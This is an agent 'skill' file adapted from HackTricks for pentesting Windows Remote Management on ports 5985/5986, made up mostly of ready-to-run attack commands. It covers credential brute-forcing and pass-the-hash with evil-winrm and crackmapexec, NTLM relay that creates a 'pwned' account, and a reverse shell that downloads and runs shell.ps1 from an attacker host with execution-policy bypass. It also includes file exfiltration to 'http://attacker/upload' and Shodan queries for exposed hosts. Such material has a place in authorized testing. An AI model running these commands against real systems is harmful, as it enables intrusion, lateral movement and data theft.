Hacktricks-skills winrm-pentesting

How to pentest Windows Remote Management (WinRM) on ports 5985/5986. Use this skill whenever the user mentions WinRM, Windows remote management, ports 5985 or 5986, PowerShell remoting, evil-winrm, WS-MAN, or needs to connect to/execute commands on Windows systems remotely. This includes brute-forcing WinRM credentials, pass-the-hash attacks, NTLM relay to WinRM, and lateral movement via WinRM.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/5985-5986-pentesting-winrm/SKILL.MD
source content

WinRM Pentesting

Windows Remote Management (WinRM) is a Microsoft protocol that enables remote management of Windows systems through HTTP(S) on ports 5985 (HTTP) and 5986 (HTTPS). It leverages SOAP and is powered by WMI, essentially providing an HTTP-based interface for WMI operations.

Quick Start

# Test if WinRM is configured on a target
test-wsman <target-ip>

# Connect with evil-winrm (Linux)
evil-winrm -i <IP> -u <username> -p '<password>'

# Connect with hash
evil-winrm -i <IP> -u <username> -H <hash>

# Brute force with crackmapexec
crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt

Testing WinRM Configuration

From Windows (PowerShell)

# Test if target has WinRM configured
Test-WSMan <target-ip>

# Expected output for configured target:
# ProtocolVersion: WS-Management 1.3
# ProductVersion: Microsoft Windows Operating System
# SchemaVersion: http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd

From Linux

# Using pypsrp (Python)
python3 -c "from psrp.client import Client; c = Client('target', username='user', password='pass'); print(c.execute_cmd('whoami').std_out.decode())"

# Using winrm-cli
winrm id -r:https://target:5986/wsman -u:username -p:password

Connection Methods

evil-winrm (Ruby)

# Install
gem install evil-winrm

# Basic connection
evil-winrm -i <IP> -u <username> -p '<password>'

# With hash (pass-the-hash)
evil-winrm -i <IP> -u <username> -H <ntlm_hash>

# With Kerberos (v3.x+)
evil-winrm -i <IP> -u <username> -k --spn HTTP/<IP>

# With certificate authentication
evil-winrm -i <IP> --cert-pem cert.pem --key-pem key.pem

# Session logging
evil-winrm -i <IP> -u <username> -p '<password>' -L session.log

# Disable remote path completion
evil-winrm -i <IP> -u <username> -p '<password>' -N

PowerShell Remoting (Windows)

# Test connection
Test-WSMan <target>

# Execute single command
Invoke-Command -ComputerName <target> -ScriptBlock {ipconfig /all} -Credential <domain>\<user>

# Execute local function remotely
Invoke-Command -ComputerName <target> -ScriptBlock ${function:myfunction} -ArgumentList "args"

# Execute script file
Invoke-Command -ComputerName <target> -FilePath C:\path\to\script.ps1 -Credential <domain>\<user>

# Get interactive session
Enter-PSSession -ComputerName <target> -Credential <domain>\<user>

# With local user (note the ".\")
$password = ConvertTo-SecureString 'password' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential(".\username", $password)
Enter-PSSession -ComputerName <target> -Credential $creds

# Bypass proxy
Enter-PSSession -ComputerName <target> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)

# Save and restore session
$sess = New-PSSession -ComputerName <target> -Credential $creds
Enter-PSSession $sess
# Later restore:
Enter-PSSession -Session $sess

# Background session (don't close)
Exit-PSSession  # Leaves session in background if stored in variable

crackmapexec (Linux)

# Brute force
crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt

# Test single credential with command execution
crackmapexec winrm <IP> -d <domain> -u <user> -p '<password>' -x "whoami"

# With hash and PowerShell command
crackmapexec winrm <IP> -d <domain> -u <user> -H <hash> -X '$PSVersionTable'

# Note: crackmapexec validates credentials but doesn't provide interactive shell

pypsrp (Python)

from psrp.client import Client

# Basic connection
c = Client('target', username='DOMAIN\\user', password='password')
print(c.execute_cmd('ipconfig /all').std_out.decode())

# With SSL
c = Client('target', username='DOMAIN\\user', password='password', ssl=True)

# With Kerberos
c = Client('target', username='DOMAIN\\user', kerberos=True)

# Execute PowerShell
c.execute_ps('Get-Process | Select-Object -First 5')

Advanced Techniques

NTLM Relay to WinRM (Impacket)

Since Impacket 0.11 (May 2023), you can relay NTLM credentials directly to WinRM:

# Relay to WS-MAN (requires unencrypted HTTP on 5985)
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
                   --command "net user pwned P@ssw0rd! /add"

# Combine with mitm6 for automatic relay
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support

WSMan COM Object (Constrained Language Mode)

When PowerShell is constrained, use the WSMan.Automation COM object:

$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://target:5985/wsman', 0, $null)
$cmdId = $session.Command('cmd.exe', @('/c', 'whoami'))
$session.Signal($cmdId, 0)
$session.GetResults($cmdId)

Reverse Shell via WinRM

Invoke-Command -ComputerName <target> -ScriptBlock {
    cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://attacker:8080/shell.ps1')"
}

Ruby WinRM Shell

require 'winrm-fs'

conn = WinRM::Connection.new(
  endpoint: 'https://IP:5986/wsman',
  transport: :ssl,
  user: 'username',
  password: 'password',
  no_ssl_peer_verification: true
)

file_manager = WinRM::FS::FileManager.new(conn)

conn.shell(:powershell) do |shell|
  output = shell.run('whoami')
  puts output.std_out
  
  # Upload file
  file_manager.upload('local.txt', 'C:\\temp\\remote.txt')
end

Enabling WinRM on Target

If WinRM isn't configured, you can enable it:

# On the target machine
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

# Remotely via WMIC
wmic /node:<target> process call create "powershell enable-psremoting -force"

# Remotely via PsExec
PsExec.exe \\target -u domain\user -p password -h -d powershell.exe "enable-psremoting -force"

Common Errors and Solutions

TrustedHosts Error

"The WinRM client cannot process the request... the destination machine must be added to the TrustedHosts configuration setting"

Solution:

# On the client machine
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="target1,target2,*"}'

# Or via PowerShell
Set-Item wsman:\localhost\client\trustedhosts *

Constrained Language Mode

If you get errors about constrained language, the target has PowerShell execution policies restricting script execution. Use:

  • WSMan COM object approach
  • evil-winrm
    with
    -e
    flag to specify execution policy
  • Direct command execution instead of scripts

IPv6 Connections

For evil-winrm with IPv6, add an entry to

/etc/hosts
:

echo "<ipv6-address> target.domain" | sudo tee -a /etc/hosts
evil-winrm -i target.domain -u <user> -p '<password>'

Detection and Evasion

Detection Events

Monitor these Windows Event IDs:

Event IDLogDescription
91WinRM/OperationalShell created
163WinRM/OperationalShell created (alternative)
182WinRM/OperationalAuthentication failure
4262SecurityWinRM connection (source IP)

Mitigations to Check

# Check if HTTP listener is disabled (good for defense)
Get-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener

# Force HTTPS only
Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false

# Enable Extended Protection for Authentication
Set-Item WSMan:\localhost\Service\Auth -Value @{Basic="false"; Digest="false"; Kerberos="true"; Negotiate="true"; Certificate="true"; CredSSP="true"; CbtHd="true"; AllowUnencrypted="false"}

Recent Vulnerabilities

CVE-2021-38647 (OMIGOD)

Azure Linux agents with OMI (Open Management Infrastructure) versions < 1.6.8-1 have unauthenticated RCE:

curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml payload>'

Mitigation: Patch OMI or block ports 5985/5986 from internet.

Shodan Search

# Find exposed WinRM instances
port:5985 Microsoft-HTTPAPI
port:5986 Microsoft-HTTPAPI

File Operations

Upload Files

# Via evil-winrm
upload local_file.txt C:\temp\remote.txt

# Via PowerShell
Invoke-Command -ComputerName <target> -ScriptBlock {
    $webClient = New-Object System.Net.WebClient
    $webClient.DownloadFile('http://attacker/file.exe', 'C:\temp\file.exe')
}

# Via pypsrp
from psrp.client import Client
c = Client('target', username='user', password='pass')
c.upload_file('local.txt', 'C:\temp\remote.txt')

Download Files

# Via evil-winrm
download C:\temp\file.txt ./local_file.txt

# Via PowerShell
Invoke-Command -ComputerName <target> -ScriptBlock {
    $webClient = New-Object System.Net.WebClient
    $webClient.UploadFile('http://attacker/upload', 'C:\temp\file.txt')
}

Best Practices

  1. Always test connectivity first with
    Test-WSMan
    before attempting connections
  2. Use HTTPS (5986) when available for encrypted communication
  3. Be careful with brute-forcing - it can lock accounts or trigger alerts
  4. Save sessions when possible to avoid re-authentication
  5. Check for constrained language mode if scripts fail to execute
  6. Monitor for detection - WinRM events are logged and can be centralized
  7. Use proper credentials - domain credentials work better than local for lateral movement

Quick Reference

TaskCommand
Test WinRM
Test-WSMan <target>
Connect (evil-winrm)
evil-winrm -i <IP> -u <user> -p '<pass>'
Connect (hash)
evil-winrm -i <IP> -u <user> -H <hash>
Brute force
crackmapexec winrm <IP> -d <domain> -u users.txt -p passwords.txt
Execute command
Invoke-Command -ComputerName <target> -ScriptBlock {whoami}
Interactive shell
Enter-PSSession -ComputerName <target>
NTLM relay
ntlmrelayx.py -t wsman://<target>
Upload file
upload local.txt C:\temp\remote.txt
(evil-winrm)
Download file
download C:\temp\file.txt ./local.txt
(evil-winrm)

References